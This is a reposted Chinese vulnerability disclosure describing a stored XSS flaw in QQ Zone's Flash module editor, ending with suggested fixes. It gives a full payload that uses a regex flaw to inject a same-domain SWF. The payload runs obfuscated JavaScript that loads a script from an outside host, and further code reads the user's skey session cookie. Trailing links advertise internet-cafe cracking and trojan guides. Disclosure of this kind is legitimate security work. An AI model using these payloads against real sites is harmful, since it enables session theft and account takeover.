驱动管家:安全、高效、精准的专业驱动下载站!

QQ空间漏洞说明 是什么原因造成QQ空间漏洞?

2018-03-02 17:01:15责编:llp   来源:驱动管家     人气:

1. QQ空间某处正则混乱,导致恶意构造。

2. QQ空间某文件存在潜在风险

3. 1+2 = 此漏洞

详细说明:

1. 一开始的目标是这个http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,这个页面是用来修改QQ空间模块内容的。这里我选择提交的是FLASH模块。 由于此请求,每请求一次都需要输入一个验证码,所以没办法直接在抓包工具里修改并发送。所以最初是用调试工具去修改DOM属性,然后写自定义值来一次一次的试,后来实在觉得太麻烦了,就自己临时写了个小工具。以下测试均用此工具进行,如下,

QQ空间漏洞说明 是什么原因造成QQ空间漏洞?

2. 开始试了此请求的几个参数(这里的参数是指qzml所发送的xml里的若干属性,例如width, height ,wmode etc ..),都被过滤了, 后来懒么,就把能写入内容的都改成了'\/<>..,结果侧漏了。。

测试的qzml请求参数大概是这样:encodeURIComponent('xxx

'.replace(/\s/g,"+")).replace(/%2B/g,"+");

侧漏效果大概如下:(反正是类似这个效果,懒的回去抓图了。)

QQ空间漏洞说明 是什么原因造成QQ空间漏洞?

3. 开始分析侧漏原因。 发现height属性把其它属性都吞掉了。 于是其它参数复原,单个测试height,在height里加入单引号时, 服务器端的正则貌似就凌乱了。 同样有此现象的还有swfsrc 。

因为服务器那边是怎么匹配的,不清楚, 于是就开始各种构造测试,看服务器端输出。

反正测试了挺久。 具体就不详述。 因为服务器端输出的embed标签里,总是带着allowscriptaccess="never",导致我们调用的FLASH来执行脚本,所以最终目的,就是想用height来屏蔽掉allowscriptaccess="never" 。

测试过程中,出现了以下几种阻碍。

3A. allowscriptaccess="never" 成功被我们的height 吞掉, 但是src属性没了。服务器端输出如下代码:

3B. 自己添加了src 属性, 但是发现服务器端又自己加上了allowscriptaccess="never" 。。纠结了。服务器端输出如下代码:

 autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" >4. 对于各种无厘头,有时候还是要靠运气。 在3B的代码基础上,偶然发现,如果src属性里加了\',就不会出现问题。 所以我们构造src地址为/c.swf?1=\'\'\', 这样就不会出现allowscriptaccess参数了。

5. 但是问题接着来了,大家都知道,allowscriptaccess 默认是sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,还真有一个可以用的。 在抓包QQ空间的时候,瞥见这么一个FLASH,

http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange

我一瞧, 后面这个QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是个JS函数么。 于是试了一下。

http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert

果然可以弹出啊。 这样看来,我们可以利用下。 不过这个ctc.qzs.qq.com 和 模块的ctc.qzonestyle.gtimg.cn 还是不是一个域啊, 但是运气好,恰好, 这2个域名,貌似资源文件是一样的,或者有部分是一样的?ctc.qzonestyle.gtimg.cn 下面也有该FLASH文件。 如下:

http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert

6. 所以,我们最终可以构造出FLASH的src为

/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\'

其中,前面是FLASH地址,onchange参数调用我们自己函数,1=\'\'\'\' 是为了屏蔽掉allowscriptaccess="never"

7. 上面这个地址我们简写为{SWFURL}, 它是位于height属性里的,如下

height=""\'/\< src={SWFURL} style=width:/ >"

8. = = 写不下去了。。 直接上最后的测试代码。 有点乱。。有些是测试残留,没实际意义,比如里的&"34; 这种。。

"qzml":encodeURIComponent('xxx

" width="&"34;src = http " height=""\'/\< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\' style=width:/ >" loop="true" waitforclick="true" wmode=""/>

'.replace(/\s/g,"+")).replace(/%2B/g,"+")

9. 上面代码会调用我自己的网站的JS。 在调用JS这一步,

目测IE 应该是通杀吧?IE6没试过。vista+IE7, win7+IE8,9 是可以的。

Chrome 也是可以的,ff 下蛋疼了,需要给加上type="application/x-shockwave-flash" 才行, 没去弄,这个属性应该也是可以加的上的。

10. 到这里, 可以alert, 可以跳转。

IE下的alert

QQ空间漏洞说明 是什么原因造成QQ空间漏洞?

Chrome下的跳转

QQ空间漏洞说明 是什么原因造成QQ空间漏洞?

11. 但是我们亲爱的cookies 没办法弹出来啊。

原因是,如前所述,模块的域是ctc.qzonestyle.gtimg.cn ,

而空间的域是qq.com ,没有办法跨域获取cookies。

不过好在,QQ空间开发人员为我们准备好了这一功能, 原理就是在当前页中,嵌入一个和父窗口同域的iframe页面,来进行通讯。

我们直接调用QQ空间开发人员写好的库,来获取cookies,代码如下:

QZONE.Cross.Client.getInstance().sendInvoke('QZFL.cookie.get', 'skey',function(str){

alert("您的skey是:"+str);

});

效果如下:

QQ空间漏洞说明 是什么原因造成QQ空间漏洞?

需要说明的是: 获取cookies这一步,IE下有效,chrome 貌似错误了,粗略看了下,对于跨域请求,Qzone开发人员针对HTML5和普通的采用的是不同的方案,在chrome下莫名的悲剧了。。 我只是调用了你们开发人员写的东西,= = 悲剧别找我,哈哈

修复方案:

1. 服务器端在从提交过去的qzml这段XML里获取FLASH的属性时,正则写错了? 只是猜测。

2. 目测服务器端验证qzml是否合法的正则不够好, 像width, height 这种参数,直接\d{m,n}就可以吧。 貌似width ,height 属性里什么东西都可以写啊。 只在客户端限制width,height输入框长度为3,没什么实际作用的。。其它属性也一样,什么wmode只需要true|false 即可。

3. 这个http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location='钓鱼网站'} 单独就是一个漏洞。

http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 这个被利用的flash文件需修改一下。 在FLASH限制一下onchange 参数的值。

作者 gainover

  • 网吧破解怎么做?怎么破解网吧?

    网吧破解怎么做?怎么破解网吧?

    解万象秘笈 一 用Alt Ctrl Del组合键(万象) 开机后,当出现蓝背景时,立即按组合键,弹出“关闭程序”对话框,若里面有“client”后则立即关闭,当发现“未知”程序时也要关闭,因为万象会启动两次。万象被结束了,

    详情2018-01-05 09:14:06责编:llp   来源:驱动管家     
  • openbsd是什么?openbsd系统有什么漏洞?

    openbsd是什么?openbsd系统有什么漏洞?

    受影响系统:OpenBSD OpenBSD 4 2OpenBSD OpenBSD 4 1OpenBSD OpenBSD 4 0描述:BUGTRAQ ID: 25984CVE(CAN) ID: CVE-2007-5365OpenBSD是一款开放源代码Unix类操作系统。OpenBSD系统的DHCP协议实现上存

    详情2018-01-24 16:40:45责编:llp   来源:驱动管家     
  • 演示科讯的漏洞 怎么找到科讯的漏洞?

    演示科讯的漏洞 怎么找到科讯的漏洞?

    现在程序在不断的发展,更新。漏洞也不断的出现。今天来给大家演示一下科讯的漏洞,简单拿大站的WebShell 在百度或者GOOGEL搜索,科讯的注册关键字,因为这个漏洞就出自于头像上传。关键字为(小提示:在输入用户

    详情2018-02-06 16:19:20责编:llp   来源:驱动管家     
  • 什么是rootkit病毒?rootkit病毒的类型及对应措施

    什么是rootkit病毒?rootkit病毒的类型及对应措施

    Rootkits病毒主要分为两大类:第一种是进程注入式Rootkits,另一种是驱动级Rootkits。第一种Rootkits技术通常通过释放动态链接库(DLL)文件,并将它们注入到可执行文件及系统服务进程中运行,阻止操作系统及应用

    详情2018-01-13 11:34:20责编:llp   来源:驱动管家     
  • 保护商业机密,企业信息防泄密应该怎么做?

    保护商业机密,企业信息防泄密应该怎么做?

    面对日渐严重的内部泄密事件,我们如何守护企业的核心信息,如何防止内部泄密也就成了摆在各个企业领导面前的一大问题。其实,针对内网安全,防止内部信息泄漏早已有了比较成熟的体系。这得益于一个还不为广大企

    详情2018-01-31 09:29:30责编:llp   来源:驱动管家     
  • beyondtrust公司CTO教你抵御网站攻击?

    beyondtrust公司CTO教你抵御网站攻击?

    目前IT面临的主要困境是:安全工具就像一个黑洞,吸走企业的时间和金钱,以及企业应该如何适当地保护企业的信息系统和资产。强大的防御并不一定意味着高成本,企业应该从评估公开信息开始,并想办法保护这些公开

    详情2018-02-28 14:55:47责编:llp   来源:驱动管家     
  • qq粘虫的危害 qq粘虫病毒怎么查杀?

    qq粘虫的危害 qq粘虫病毒怎么查杀?

    QQ粘虫主要通过两个渠道传播,如下:QQ粘虫传播途径:1、伪装成QQ刷钻工具、游戏外挂,2、伪装成各种QQ好友发送的文件、主要以办公文件为主。QQ粘虫危害:专门从事QQ盗号产业的不法分子会对偷来的QQ号分类处理,有

    详情2018-01-16 09:24:50责编:llp   来源:驱动管家     
  • 终端dlp工具对安全的作用 dlp工具的限制

    终端dlp工具对安全的作用 dlp工具的限制

    企业数据的共享从来都不是那么简单。员工可以用邮件添加附件,在云上同步文件,用闪存拷贝几个GB的数据,从外部访问网络上资源等等。这样的优点在于提高了生产力和工作的灵活性。不足就是IT对敏感数据的保护更为

    详情2018-02-11 18:05:45责编:llp   来源:驱动管家     
  • 远程控制木马:黑洞2001正式版怎么用?

    远程控制木马:黑洞2001正式版怎么用?

    黑洞2001是陈经韬2001年的作品,用于远程控制,是一匹不错的木马,功能比较强大但是有一部分功能因为涉及安全问题所以被去掉了,不过这没有关系,读完了这篇教程你就会完全掌握用黑洞2001掌握远程主机的控制权。

    详情2018-01-28 16:47:22责编:llp   来源:驱动管家     
  • 怎么做后台deamon来控制安全访问?这里有个后台脚本

    怎么做后台deamon来控制安全访问?这里有个后台脚本

    系统为了某些功能必须要提供一些服务(不论是系统本身还是网络方面),这个服务就称为service。而实现这个service的程序我们就称它为daemon。实现某个服务是需要一个daemon在后台中运行,没有这个daemon就不会有s

    详情2018-02-02 14:59:08责编:llp   来源:驱动管家